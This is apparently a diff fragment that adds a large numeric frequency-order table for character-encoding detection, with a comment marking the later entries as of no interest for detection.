+2069,1292,2070,2071,1445,2072,1446,2073,2074, 55, 588, 66,1447, 271,1092,2075, +1226,2076, 960,1013, 372,2077,2078,2079,2080,2081,1293,2082,2083,2084,2085, 850, +2086,2087,2088,2089,2090, 186,2091,1068, 180,2092,2093,2094, 109,1227, 522, 606, +2095, 867,1448,1093, 991,1171, 926, 353,1133,2096, 581,2097,2098,2099,1294,1449, +1450,2100, 596,1172,1014,1228,2101,1451,1295,1173,1229,2102,2103,1296,1134,1452, + 949,1135,2104,2105,1094,1453,1454,1455,2106,1095,2107,2108,2109,2110,2111,2112, +2113,2114,2115,2116,2117, 804,2118,2119,1230,1231, 805,1456, 405,1136,2120,2121, +2122,2123,2124, 720, 701,1297, 992,1457, 927,1004,2125,2126,2127,2128,2129,2130, + 22, 417,2131, 303,2132, 385,2133, 971, 520, 513,2134,1174, 73,1096, 231, 274, + 962,1458, 673,2135,1459,2136, 152,1137,2137,2138,2139,2140,1005,1138,1460,1139, +2141,2142,2143,2144, 11, 374, 844,2145, 154,1232, 46,1461,2146, 838, 830, 721, +1233, 106,2147, 90, 428, 462, 578, 566,1175, 352,2148,2149, 538,1234, 124,1298, +2150,1462, 761, 565,2151, 686,2152, 649,2153, 72, 173,2154, 460, 415,2155,1463, +2156,1235, 305,2157,2158,2159,2160,2161,2162, 579,2163,2164,2165,2166,2167, 747, +2168,2169,2170,2171,1464, 669,2172,2173,2174,2175,2176,1465,2177, 23, 530, 285, +2178, 335, 729,2179, 397,2180,2181,2182,1030,2183,2184, 698,2185,2186, 325,2187, +2188, 369,2189, 799,1097,1015, 348,2190,1069, 680,2191, 851,1466,2192,2193, 10, +2194, 613, 424,2195, 979, 108, 449, 589, 27, 172, 81,1031, 80, 774, 281, 350, +1032, 525, 301, 582,1176,2196, 674,1045,2197,2198,1467, 730, 762,2199,2200,2201, +2202,1468,2203, 993,2204,2205, 266,1070, 963,1140,2206,2207,2208, 664,1098, 972, +2209,2210,2211,1177,1469,1470, 871,2212,2213,2214,2215,2216,1471,2217,2218,2219, +2220,2221,2222,2223,2224,2225,2226,2227,1472,1236,2228,2229,2230,2231,2232,2233, +2234,2235,1299,2236,2237, 200,2238, 477, 373,2239,2240, 731, 825, 777,2241,2242, +2243, 521, 486, 548,2244,2245,2246,1473,1300, 53, 549, 137, 875, 76, 158,2247, +1301,1474, 469, 396,1016, 278, 712,2248, 321, 442, 503, 767, 744, 941,1237,1178, +1475,2249, 82, 178,1141,1179, 973,2250,1302,2251, 297,2252,2253, 570,2254,2255, +2256, 18, 450, 206,2257, 290, 292,1142,2258, 511, 162, 99, 346, 164, 735,2259, +1476,1477, 4, 554, 343, 798,1099,2260,1100,2261, 43, 171,1303, 139, 215,2262, +2263, 717, 775,2264,1033, 322, 216,2265, 831,2266, 149,2267,1304,2268,2269, 702, +1238, 135, 845, 347, 309,2270, 484,2271, 878, 655, 238,1006,1478,2272, 67,2273, + 295,2274,2275, 461,2276, 478, 942, 412,2277,1034,2278,2279,2280, 265,2281, 541, +2282,2283,2284,2285,2286, 70, 852,1071,2287,2288,2289,2290, 21, 56, 509, 117, + 432,2291,2292, 331, 980, 552,1101, 148, 284, 105, 393,1180,1239, 755,2293, 187, +2294,1046,1479,2295, 340,2296, 63,1047, 230,2297,2298,1305, 763,1306, 101, 800, + 808, 494,2299,2300,2301, 903,2302, 37,1072, 14, 5,2303, 79, 675,2304, 312, +2305,2306,2307,2308,2309,1480, 6,1307,2310,2311,2312, 1, 470, 35, 24, 229, +2313, 695, 210, 86, 778, 15, 784, 592, 779, 32, 77, 855, 964,2314, 259,2315, + 501, 380,2316,2317, 83, 981, 153, 689,1308,1481,1482,1483,2318,2319, 716,1484, +2320,2321,2322,2323,2324,2325,1485,2326,2327, 128, 57, 68, 261,1048, 211, 170, +1240, 31,2328, 51, 435, 742,2329,2330,2331, 635,2332, 264, 456,2333,2334,2335, + 425,2336,1486, 143, 507, 263, 943,2337, 363, 920,1487, 256,1488,1102, 243, 601, +1489,2338,2339,2340,2341,2342,2343,2344, 861,2345,2346,2347,2348,2349,2350, 395, +2351,1490,1491, 62, 535, 166, 225,2352,2353, 668, 419,1241, 138, 604, 928,2354, +1181,2355,1492,1493,2356,2357,2358,1143,2359, 696,2360, 387, 307,1309, 682, 476, +2361,2362, 332, 12, 222, 156,2363, 232,2364, 641, 276, 656, 517,1494,1495,1035, + 416, 736,1496,2365,1017, 586,2366,2367,2368,1497,2369, 242,2370,2371,2372,1498, +2373, 965, 713,2374,2375,2376,2377, 740, 982,1499, 944,1500,1007,2378,2379,1310, +1501,2380,2381,2382, 785, 329,2383,2384,1502,2385,2386,2387, 932,2388,1503,2389, +2390,2391,2392,1242,2393,2394,2395,2396,2397, 994, 950,2398,2399,2400,2401,1504, +1311,2402,2403,2404,2405,1049, 749,2406,2407, 853, 718,1144,1312,2408,1182,1505, +2409,2410, 255, 516, 479, 564, 550, 214,1506,1507,1313, 413, 239, 444, 339,1145, +1036,1508,1509,1314,1037,1510,1315,2411,1511,2412,2413,2414, 176, 703, 497, 624, + 593, 921, 302,2415, 341, 165,1103,1512,2416,1513,2417,2418,2419, 376,2420, 700, +2421,2422,2423, 258, 768,1316,2424,1183,2425, 995, 608,2426,2427,2428,2429, 221, +2430,2431,2432,2433,2434,2435,2436,2437, 195, 323, 726, 188, 897, 983,1317, 377, + 644,1050, 879,2438, 452,2439,2440,2441,2442,2443,2444, 914,2445,2446,2447,2448, + 915, 489,2449,1514,1184,2450,2451, 515, 64, 427, 495,2452, 583,2453, 483, 485, +1038, 562, 213,1515, 748, 666,2454,2455,2456,2457, 334,2458, 780, 996,1008, 705, +1243,2459,2460,2461,2462,2463, 114,2464, 493,1146, 366, 163,1516, 961,1104,2465, + 291,2466,1318,1105,2467,1517, 365,2468, 355, 951,1244,2469,1319,2470, 631,2471, +2472, 218,1320, 364, 320, 756,1518,1519,1321,1520,1322,2473,2474,2475,2476, 997, +2477,2478,2479,2480, 665,1185,2481, 916,1521,2482,2483,2484, 584, 684,2485,2486, + 797,2487,1051,1186,2488,2489,2490,1522,2491,2492, 370,2493,1039,1187, 65,2494, + 434, 205, 463,1188,2495, 125, 812, 391, 402, 826, 699, 286, 398, 155, 781, 771, + 585,2496, 590, 505,1073,2497, 599, 244, 219, 917,1018, 952, 646,1523,2498,1323, +2499,2500, 49, 984, 354, 741,2501, 625,2502,1324,2503,1019, 190, 357, 757, 491, + 95, 782, 868,2504,2505,2506,2507,2508,2509, 134,1524,1074, 422,1525, 898,2510, + 161,2511,2512,2513,2514, 769,2515,1526,2516,2517, 411,1325,2518, 472,1527,2519, +2520,2521,2522,2523,2524, 985,2525,2526,2527,2528,2529,2530, 764,2531,1245,2532, +2533, 25, 204, 311,2534, 496,2535,1052,2536,2537,2538,2539,2540,2541,2542, 199, + 704, 504, 468, 758, 657,1528, 196, 44, 839,1246, 272, 750,2543, 765, 862,2544, +2545,1326,2546, 132, 615, 933,2547, 732,2548,2549,2550,1189,1529,2551, 283,1247, +1053, 607, 929,2552,2553,2554, 930, 183, 872, 616,1040,1147,2555,1148,1020, 441, + 249,1075,2556,2557,2558, 466, 743,2559,2560,2561, 92, 514, 426, 420, 526,2562, +2563,2564,2565,2566,2567,2568, 185,2569,2570,2571,2572, 776,1530, 658,2573, 362, +2574, 361, 922,1076, 793,2575,2576,2577,2578,2579,2580,1531, 251,2581,2582,2583, +2584,1532, 54, 612, 237,1327,2585,2586, 275, 408, 647, 111,2587,1533,1106, 465, + 3, 458, 9, 38,2588, 107, 110, 890, 209, 26, 737, 498,2589,1534,2590, 431, + 202, 88,1535, 356, 287,1107, 660,1149,2591, 381,1536, 986,1150, 445,1248,1151, + 974,2592,2593, 846,2594, 446, 953, 184,1249,1250, 727,2595, 923, 193, 883,2596, +2597,2598, 102, 324, 539, 817,2599, 421,1041,2600, 832,2601, 94, 175, 197, 406, +2602, 459,2603,2604,2605,2606,2607, 330, 555,2608,2609,2610, 706,1108, 389,2611, +2612,2613,2614, 233,2615, 833, 558, 931, 954,1251,2616,2617,1537, 546,2618,2619, +1009,2620,2621,2622,1538, 690,1328,2623, 955,2624,1539,2625,2626, 772,2627,2628, +2629,2630,2631, 924, 648, 863, 603,2632,2633, 934,1540, 864, 865,2634, 642,1042, + 670,1190,2635,2636,2637,2638, 168,2639, 652, 873, 542,1054,1541,2640,2641,2642, # 512, 256 +#Everything below is of no interest for detection purpose +2643,2644,2645,2646,2647,2648,2649,2650,2651,2652,2653,2654,2655,2656,2657,2658, +2659,2660,2661,2662,2663,2664,2665,2666,2667,2668,2669,2670,2671,2672,2673,2674, +2675,2676,2677,2678,2679,2680,2681,2682,2683,2684,2685,2686,2687,2688,2689,2690, +2691,2692,2693,2694,2695,2696,2697,2698,2699,1542, 880,2700,2701,2702,2703,2704, +2705,2706,2707,2708,2709,2710,2711,2712,2713,2714,2715,2716,2717,2718,2719,2720, +2721,2722,2723,2724,2725,1543,2726,2727,2728,2729,2730,2731,2732,1544,2733,2734, +2735,2736,2737,2738,2739,2740,2741,2742,2743,2744,2745,2746,2747,2748,2749,2750, +2751,2752,2753,2754,1545,2755,2756,2757,2758,2759,2760,2761,2762,2763,2764,2765, +2766,1546,2767,1547,2768,2769,2770,2771,2772,2773,2774,2775,2776,2777,2778,2779, +2780,2781,2782,2783,2784,2785,2786,1548,2787,2788,2789,1109,2790,2791,2792,2793, +2794,2795,2796,2797,2798,2799,2800,2801,2802,2803,2804,2805,2806,2807,2808,2809, +2810,2811,2812,1329,2813,2814,2815,2816,2817,2818,2819,2820,2821,2822,2823,2824, +2825,2826,2827,2828,2829,2830,2831,2832,2833,2834,2835,2836,2837,2838,2839,2840, +2841,2842,2843,2844,2845,2846,2847,2848,2849,2850,2851,2852,2853,2854,2855,2856, +1549,2857,2858,2859,2860,1550,2861,2862,1551,2863,2864,2865,2866,2867,2868,2869, +2870,2871,2872,2873,2874,1110,1330,2875,2876,2877,2878,2879,2880,2881,2882,2883, +2884,2885,2886,2887,2888,2889,2890,2891,2892,2893,2894,2895,2896,2897,2898,2899, +2900,2901,2902,2903,2904,2905,2906,2907,2908,2909,2910,2911,2912,2913,2914,2915, +2916,2917,2918,2919,2920,2921,2922,2923,2924,2925,2926,2927,2928,2929,2930,1331, +2931,2932,2933,2934,2935,2936,2937,2938,2939,2940,2941,2942,2943,1552,2944,2945, +2946,2947,2948,2949,2950,2951,2952,2953,2954,2955,2956,2957,2958,2959,2960,2961, +2962,2963,2964,1252,2965,2966,2967,2968,2969,2970,2971,2972,2973,2974,2975,2976, +2977,2978,2979,2980,2981,2982,2983,2984,2985,2986,2987,2988,2989,2990,2991,2992, +2993,2994,2995,2996,2997,2998,2999,3000,3001,3002,3003,3004,3005,3006,3007,3008, +3009,3010,3011,3012,1553,3013,3014,3015,3016,3017,1554,3018,1332,3019,3020,3021, +3022,3023,3024,3025,3026,3027,3028,3029,3030,3031,3032,3033,3034,3035,3036,3037, +3038,3039,3040,3041,3042,3043,3044,3045,3046,3047,3048,3049,3050,1555,3051,3052, +3053,1556,1557,3054,3055,3056,3057,3058,3059,3060,3061,3062,3063,3064,3065,3066, +3067,1558,3068,3069,3070,3071,3072,3073,3074,3075,3076,1559,3077,3078,3079,3080, +3081,3082,3083,1253,3084,3085,3086,3087,3088,3089,3090,3091,3092,3093,3094,3095, +3096,3097,3098,3099,3100,3101,3102,3103,3104,3105,3106,3107,3108,1152,3109,3110, +3111,3112,3113,1560,3114,3115,3116,3117,1111,3118,3119,3120,3121,3122,3123,3124, +3125,3126,3127,3128,3129,3130,3131,3132,3133,3134,3135,3136,3137,3138,3139,3140, +3141,3142,3143,3144,3145,3146,3147,3148,3149,3150,3151,3152,3153,3154,3155,3156, +3157,3158,3159,3160,3161,3162,3163,3164,3165,3166,3167,3168,3169,3170,3171,3172, +3173,3174,3175,3176,1333,3177,3178,3179,3180,3181,3182,3183,3184,3185,3186,3187, +3188,3189,1561,3190,3191,1334,3192,3193,3194,3195,3196,3197,3198,3199,3200,3201, +3202,3203,3204,3205,3206,3207,3208,3209,3210,3211,3212,3213,3214,3215,3216,3217, +3218,3219,3220,3221,3222,3223,3224,3225,3226,3227,3228,3229,3230,3231,3232,3233, +3234,1562,3235,3236,3237,3238,3239,3240,3241,3242,3243,3244,3245,3246,3247,3248, +3249,3250,3251,3252,3253,3254,3255,3256,3257,3258,3259,3260,3261,3262,3263,3264, +3265,3266,3267,3268,3269,3270,3271,3272,3273,3274,3275,3276,3277,1563,3278,3279, +3280,3281,3282,3283,3284,3285,3286,3287,3288,3289,3290,3291,3292,3293,3294,3295, +3296,3297,3298,3299,3300,3301,3302,3303,3304,3305,3306,3307,3308,3309,3310,3311, +3312,3313,3314,3315,3316,3317,3318,3319,3320,3321,3322,3323,3324,3325,3326,3327, +3328,3329,3330,3331,3332,3333,3334,3335,3336,3337,3338,3339,3340,3341,3342,3343, +3344,3345,3346,3347,3348,3349,3350,3351,3352,3353,3354,3355,3356,3357,3358,3359, +3360,3361,3362,3363,3364,1335,3365,3366,3367,3368,3369,3370,3371,3372,3373,3374, +3375,3376,3377,3378,3379,3380,3381,3382,3383,3384,3385,3386,3387,1336,3388,3389, +3390,3391,3392,3393,3394,3395,3396,3397,3398,3399,3400,3401,3402,3403,3404,3405, +3406,3407,3408,3409,3410,3411,3412,3413,3414,1337,3415,3416,3417,3418,3419,1338, +3420,3421,3422,1564,1565,3423,3424,3425,3426,3427,3428,3429,3430,3431,1254,3432, +3433,3434,1339,3435,3436,3437,3438,3439,1566,3440,3441,3442,3443,3444,3445,3446, +3447,3448,3449,3450,3451,3452,3453,3454,1255,3455,3456,3457,3458,3459,1567,1191, +3460,1568,1569,3461,3462,3463,1570,3464,3465,3466,3467,3468,1571,3469,3470,3471, +3472,3473,1572,3474,3475,3476,3477,3478,3479,3480,3481,3482,3483,3484,3485,3486, +1340,3487,3488,3489,3490,3491,3492,1021,3493,3494,3495,3496,3497,3498,1573,3499, +1341,3500,3501,3502,3503,3504,3505,3506,3507,3508,3509,3510,3511,1342,3512,3513, +3514,3515,3516,1574,1343,3517,3518,3519,1575,3520,1576,3521,3522,3523,3524,3525, +3526,3527,3528,3529,3530,3531,3532,3533,3534,3535,3536,3537,3538,3539,3540,3541, +3542,3543,3544,3545,3546,3547,3548,3549,3550,3551,3552,3553,3554,3555,3556,3557, +3558,3559,3560,3561,3562,3563,3564,3565,3566,3567,3568,3569,3570,3571,3572,3573, +3574,3575,3576,3577,3578,3579,3580,1577,3581,3582,1578,3583,3584,3585,3586,3587, +3588,3589,3590,3591,3592,3593,3594,3595,3596,3597,3598,3599,3600,3601,3602,3603, +3604,1579,3605,3606,3607,3608,3609,3610,3611,3612,3613,3614,3615,3616,3617,3618, +3619,3620,3621,3622,3623,3624,3625,3626,3627,3628,3629,1580,3630,3631,1581,3632, +3633,3634,3635,3636,3637,3638,3639,3640,3641,3642,3643,3644,3645,3646,3647,3648, +3649,3650,3651,3652,3653,3654,3655,3656,1582,3657,3658,3659,3660,3661,3662,3663, +3664,3665,3666,3667,3668,3669,3670,3671,3672,3673,3674,3675,3676,3677,3678,3679, +3680,3681,3682,3683,3684,3685,3686,3687,3688,3689,3690,3691,3692,3693,3694,3695, +3696,3697,3698,3699,3700,1192,3701,3702,3703,3704,1256,3705,3706,3707,3708,1583, +1257,3709,3710,3711,3712,3713,3714,3715,3716,1584,3717,3718,3719,3720,3721,3722, +3723,3724,3725,3726,3727,3728,3729,3730,3731,3732,3733,3734,3735,3736,3737,3738, +3739,3740,3741,3742,3743,3744,3745,1344,3746,3747,3748,3749,3750,3751,3752,3753, +3754,3755,3756,1585,3757,3758,3759,3760,3761,3762,3763,3764,3765,3766,1586,3767, +3768,3769,3770,3771,3772,3773,3774,3775,3776,3777,3778,1345,3779,3780,3781,3782, +3783,3784,3785,3786,3787,3788,3789,3790,3791,3792,3793,3794,3795,1346,1587,3796, +3797,1588,3798,3799,3800,3801,3802,3803,3804,3805,3806,1347,3807,3808,3809,3810, +3811,1589,3812,3813,3814,3815,3816,3817,3818,3819,3820,3821,1590,3822,3823,1591, +1348,3824,3825,3826,3827,3828,3829,3830,1592,3831,3832,1593,3833,3834,3835,3836, +3837,3838,3839,3840,3841,3842,3843,3844,1349,3845,3846,3847,3848,3849,3850,3851, +3852,3853,3854,3855,3856,3857,3858,1594,3859,3860,3861,3862,3863,3864,3865,3866, +3867,3868,3869,1595,3870,3871,3872,3873,1596,3874,3875,3876,3877,3878,3879,3880, +3881,3882,3883,3884,3885,3886,1597,3887,3888,3889,3890,3891,3892,3893,3894,3895, +1598,3896,3897,3898,1599,1600,3899,1350,3900,1351,3901,3902,1352,3903,3904,3905, +3906,3907,3908,3909,3910,3911,3912,3913,3914,3915,3916,3917,3918,3919,3920,3921, +3922,3923,3924,1258,3925,3926,3927,3928,3929,3930,3931,1193,3932,1601,3933,3934, +3935,3936,3937,3938,3939,3940,3941,3942,3943,1602,3944,3945,3946,3947,3948,1603, +3949,3950,3951,3952,3953,3954,3955,3956,3957,3958,3959,3960,3961,3962,3963,3964, +3965,1604,3966,3967,3968,3969,3970,3971,3972,3973,3974,3975,3976,3977,1353,3978, +3979,3980,3981,3982,3983,3984,3985,3986,3987,3988,3989,3990,3991,1354,3992,3993, +3994,3995,3996,3997,3998,3999,4000,4001,4002,4003,4004,4005,4006,4007,4008,4009, +4010,4011,4012,4013,4014,4015,4016,4017,4018,4019,4020,4021,4022,4023,1355,4024, +4025,4026,4027,4028,4029,4030,4031,4032,4033,4034,4035,4036,4037,4038,4039,4040, +1605,4041,4042,4043,4044,4045,4046,4047,4048,4049,4050,4051,4052,4053,4054,4055, +4056,4057,4058,4059,4060,1606,4061,4062,4063,4064,1607,4065,4066,4067,4068,4069, +4070,4071,4072,4073,4074,4075,4076,1194,4077,4078,1608,4079,4080,4081,4082,4083, +4084,4085,4086,4087,1609,4088,4089,4090,4091,4092,4093,4094,4095,4096,4097,4098, +4099,4100,4101,4102,4103,4104,4105,4106,4107,4108,1259,4109,4110,4111,4112,4113, +4114,4115,4116,4117,4118,4119,4120,4121,4122,4123,4124,1195,4125,4126,4127,1610, +4128,4129,4130,4131,4132,4133,4134,4135,4136,4137,1356,4138,4139,4140,4141,4142, +4143,4144,1611,4145,4146,4147,4148,4149,4150,4151,4152,4153,4154,4155,4156,4157, +4158,4159,4160,4161,4162,4163,4164,4165,4166,4167,4168,4169,4170,4171,4172,4173, +4174,4175,4176,4177,4178,4179,4180,4181,4182,4183,4184,4185,4186,4187,4188,4189, +4190,4191,4192,4193,4194,4195,4196,4197,4198,4199,4200,4201,4202,4203,4204,4205, +4206,4207,4208,4209,4210,4211,4212,4213,4214,4215,4216,4217,4218,4219,1612,4220, +4221,4222,4223,4224,4225,4226,4227,1357,4228,1613,4229,4230,4231,4232,4233,4234, +4235,4236,4237,4238,4239,4240,4241,4242,4243,1614,4244,4245,4246,4247,4248,4249, +4250,4251,4252,4253,4254,4255,4256,4257,4258,4259,4260,4261,4262,4263,4264,4265, +4266,4267,4268,4269,4270,1196,1358,4271,4272,4273,4274,4275,4276,4277,4278,4279, +4280,4281,4282,4283,4284,4285,4286,4287,1615,4288,4289,4290,4291,4292,4293,4294, +4295,4296,4297,4298,4299,4300,4301,4302,4303,4304,4305,4306,4307,4308,4309,4310, +4311,4312,4313,4314,4315,4316,4317,4318,4319,4320,4321,4322,4323,4324,4325,4326, +4327,4328,4329,4330,4331,4332,4333,4334,1616,4335,4336,4337,4338,4339,4340,4341, +4342,4343,4344,4345,4346,4347,4348,4349,4350,4351,4352,4353,4354,4355,4356,4357, +4358,4359,4360,1617,4361,4362,4363,4364,4365,1618,4366,4367,4368,4369,4370,4371, +4372,4373,4374,4375,4376,4377,4378,4379,4380,4381,4382,4383,4384,4385,4386,4387, +4388,4389,4390,4391,4392,4393,4394,4395,4396,4397,4398,4399,4400,4401,4402,4403, +4404,4405,4406,4407,4408,4409,4410,4411,4412,4413,4414,4415,4416,1619,4417,4418, +4419,4420,4421,4422,4423,4424,4425,1112,4426,4427,4428,4429,4430,1620,4431,4432, +4433,4434,4435,4436,4437,4438,4439,4440,4441,4442,1260,1261,4443,4444,4445,4446, +4447,4448,4449,4450,4451,4452,4453,4454,4455,1359,4456,4457,4458,4459,4460,4461, +4462,4463,4464,4465,1621,4466,4467,4468,4469,4470,4471,4472,4473,4474,4475,4476, +4477,4478,4479,4480,4481,4482,4483,4484,4485,4486,4487,4488,4489,1055,4490,4491, +4492,4493,4494,4495,4496,4497,4498,4499,4500,4501,4502,4503,4504,4505,4506,4507, +4508,4509,4510,4511,4512,4513,4514,4515,4516,4517,4518,1622,4519,4520,4521,1623, +4522,4523,4524,4525,4526,4527,4528,4529,4530,4531,4532,4533,4534,4535,1360,4536, +4537,4538,4539,4540,4541,4542,4543, 975,4544,4545,4546,4547,4548,4549,4550,4551, +4552,4553,4554,4555,4556,4557,4558,4559,4560,4561,4562,4563,4564,4565,4566,4567, +4568,4569,4570,4571,1624,4572,4573,4574,4575,4576,1625,4577,4578,4579,4580,4581, +4582,4583,4584,1626,4585,4586,4587,4588,4589,4590,4591,4592,4593,4594,4595,1627, +4596,4597,4598,4599,4600,4601,4602,4603,4604,4605,4606,4607,4608,4609,4610,4611, +4612,4613,4614,4615,1628,4616,4617,4618,4619,4620,4621,4622,4623,4624,4625,4626, +4627,4628,4629,4630,4631,4632,4633,4634,4635,4636,4637,4638,4639,4640,4641,4642, +4643,4644,4645,4646,4647,4648,4649,1361,4650,4651,4652,4653,4654,4655,4656,4657, +4658,4659,4660,4661,1362,4662,4663,4664,4665,4666,4667,4668,4669,4670,4671,4672, +4673,4674,4675,4676,4677,4678,4679,4680,4681,4682,1629,4683,4684,4685,4686,4687, +1630,4688,4689,4690,4691,1153,4692,4693,4694,1113,4695,4696,4697,4698,4699,4700, +4701,4702,4703,4704,4705,4706,4707,4708,4709,4710,4711,1197,4712,4713,4714,4715, +4716,4717,4718,4719,4720,4721,4722,4723,4724,4725,4726,4727,4728,4729,4730,4731, +4732,4733,4734,4735,1631,4736,1632,4737,4738,4739,4740,4741,4742,4743,4744,1633, +4745,4746,4747,4748,4749,1262,4750,4751,4752,4753,4754,1363,4755,4756,4757,4758, +4759,4760,4761,4762,4763,4764,4765,4766,4767,4768,1634,4769,4770,4771,4772,4773, +4774,4775,4776,4777,4778,1635,4779,4780,4781,4782,4783,4784,4785,4786,4787,4788, +4789,1636,4790,4791,4792,4793,4794,4795,4796,4797,4798,4799,4800,4801,4802,4803, +4804,4805,4806,1637,4807,4808,4809,1638,4810,4811,4812,4813,4814,4815,4816,4817, +4818,1639,4819,4820,4821,4822,4823,4824,4825,4826,4827,4828,4829,4830,4831,4832, +4833,1077,4834,4835,4836,4837,4838,4839,4840,4841,4842,4843,4844,4845,4846,4847, +4848,4849,4850,4851,4852,4853,4854,4855,4856,4857,4858,4859,4860,4861,4862,4863, +4864,4865,4866,4867,4868,4869,4870,4871,4872,4873,4874,4875,4876,4877,4878,4879, +4880,4881,4882,4883,1640,4884,4885,1641,4886,4887,4888,4889,4890,4891,4892,4893, +4894,4895,4896,4897,4898,4899,4900,4901,4902,4903,4904,4905,4906,4907,4908,4909, +4910,4911,1642,4912,4913,4914,1364,4915,4916,4917,4918,4919,4920,4921,4922,4923, +4924,4925,4926,4927,4928,4929,4930,4931,1643,4932,4933,4934,4935,4936,4937,4938, +4939,4940,4941,4942,4943,4944,4945,4946,4947,4948,4949,4950,4951,4952,4953,4954, +4955,4956,4957,4958,4959,4960,4961,4962,4963,4964,4965,4966,4967,4968,4969,4970, +4971,4972,4973,4974,4975,4976,4977,4978,4979,4980,1644,4981,4982,4983,4984,1645, +4985,4986,1646,4987,4988,4989,4990,4991,4992,4993,4994,4995,4996,4997,4998,4999, +5000,5001,5002,5003,5004,5005,1647,5006,1648,5007,5008,5009,5010,5011,5012,1078, +5013,5014,5015,5016,5017,5018,5019,5020,5021,5022,5023,5024,5025,5026,5027,5028, +1365,5029,5030,5031,5032,5033,5034,5035,5036,5037,5038,5039,1649,5040,5041,5042, +5043,5044,5045,1366,5046,5047,5048,5049,5050,5051,5052,5053,5054,5055,1650,5056, +5057,5058,5059,5060,5061,5062,5063,5064,5065,5066,5067,5068,5069,5070,5071,5072, +5073,5074,5075,5076,5077,1651,5078,5079,5080,5081,5082,5083,5084,5085,5086,5087, +5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102,5103, +5104,5105,5106,5107,5108,5109,5110,1652,5111,5112,5113,5114,5115,5116,5117,5118, +1367,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,1653,5130,5131,5132, +5133,5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148, +5149,1368,5150,1654,5151,1369,5152,5153,5154,5155,5156,5157,5158,5159,5160,5161, +5162,5163,5164,5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,5176,5177, +5178,1370,5179,5180,5181,5182,5183,5184,5185,5186,5187,5188,5189,5190,5191,5192, +5193,5194,5195,5196,5197,5198,1655,5199,5200,5201,5202,1656,5203,5204,5205,5206, +1371,5207,1372,5208,5209,5210,5211,1373,5212,5213,1374,5214,5215,5216,5217,5218, +5219,5220,5221,5222,5223,5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234, +5235,5236,5237,5238,5239,5240,5241,5242,5243,5244,5245,5246,5247,1657,5248,5249, +5250,5251,1658,1263,5252,5253,5254,5255,5256,1375,5257,5258,5259,5260,5261,5262, +5263,5264,5265,5266,5267,5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278, +5279,5280,5281,5282,5283,1659,5284,5285,5286,5287,5288,5289,5290,5291,5292,5293, +5294,5295,5296,5297,5298,5299,5300,1660,5301,5302,5303,5304,5305,5306,5307,5308, +5309,5310,5311,5312,5313,5314,5315,5316,5317,5318,5319,5320,5321,1376,5322,5323, +5324,5325,5326,5327,5328,5329,5330,5331,5332,5333,1198,5334,5335,5336,5337,5338, +5339,5340,5341,5342,5343,1661,5344,5345,5346,5347,5348,5349,5350,5351,5352,5353, +5354,5355,5356,5357,5358,5359,5360,5361,5362,5363,5364,5365,5366,5367,5368,5369, +5370,5371,5372,5373,5374,5375,5376,5377,5378,5379,5380,5381,5382,5383,5384,5385, +5386,5387,5388,5389,5390,5391,5392,5393,5394,5395,5396,5397,5398,1264,5399,5400, +5401,5402,5403,5404,5405,5406,5407,5408,5409,5410,5411,5412,1662,5413,5414,5415, +5416,1663,5417,5418,5419,5420,5421,5422,5423,5424,5425,5426,5427,5428,5429,5430, +5431,5432,5433,5434,5435,5436,5437,5438,1664,5439,5440,5441,5442,5443,5444,5445, +5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456,5457,5458,5459,5460,5461, +5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472,5473,5474,5475,5476,5477, +5478,1154,5479,5480,5481,5482,5483,5484,5485,1665,5486,5487,5488,5489,5490,5491, +5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504,5505,5506,5507, +5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520,5521,5522,5523, +5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536,5537,5538,5539, +5540,5541,5542,5543,5544,5545,5546,5547,5548,1377,5549,5550,5551,5552,5553,5554, +5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568,5569,5570, +1114,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584,5585, +5586,5587,5588,5589,5590,5591,5592,1378,5593,5594,5595,5596,5597,5598,5599,5600, +5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,1379,5615, +5616,5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631, +5632,5633,5634,1380,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646, +5647,5648,5649,1381,1056,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660, +1666,5661,5662,5663,5664,5665,5666,5667,5668,1667,5669,1668,5670,5671,5672,5673, +5674,5675,5676,5677,5678,1155,5679,5680,5681,5682,5683,5684,5685,5686,5687,5688, +5689,5690,5691,5692,5693,5694,5695,5696,5697,5698,1669,5699,5700,5701,5702,5703, +5704,5705,1670,5706,5707,5708,5709,5710,1671,5711,5712,5713,5714,1382,5715,5716, +5717,5718,5719,5720,5721,5722,5723,5724,5725,1672,5726,5727,1673,1674,5728,5729, +5730,5731,5732,5733,5734,5735,5736,1675,5737,5738,5739,5740,5741,5742,5743,5744, +1676,5745,5746,5747,5748,5749,5750,5751,1383,5752,5753,5754,5755,5756,5757,5758, +5759,5760,5761,5762,5763,5764,5765,5766,5767,5768,1677,5769,5770,5771,5772,5773, +1678,5774,5775,5776, 998,5777,5778,5779,5780,5781,5782,5783,5784,5785,1384,5786, +5787,5788,5789,5790,5791,5792,5793,5794,5795,5796,5797,5798,5799,5800,1679,5801, +5802,5803,1115,1116,5804,5805,5806,5807,5808,5809,5810,5811,5812,5813,5814,5815, +5816,5817,5818,5819,5820,5821,5822,5823,5824,5825,5826,5827,5828,5829,5830,5831, +5832,5833,5834,5835,5836,5837,5838,5839,5840,5841,5842,5843,5844,5845,5846,5847, +5848,5849,5850,5851,5852,5853,5854,5855,1680,5856,5857,5858,5859,5860,5861,5862, +5863,5864,1681,5865,5866,5867,1682,5868,5869,5870,5871,5872,5873,5874,5875,5876, +5877,5878,5879,1683,5880,1684,5881,5882,5883,5884,1685,5885,5886,5887,5888,5889, +5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904,5905, 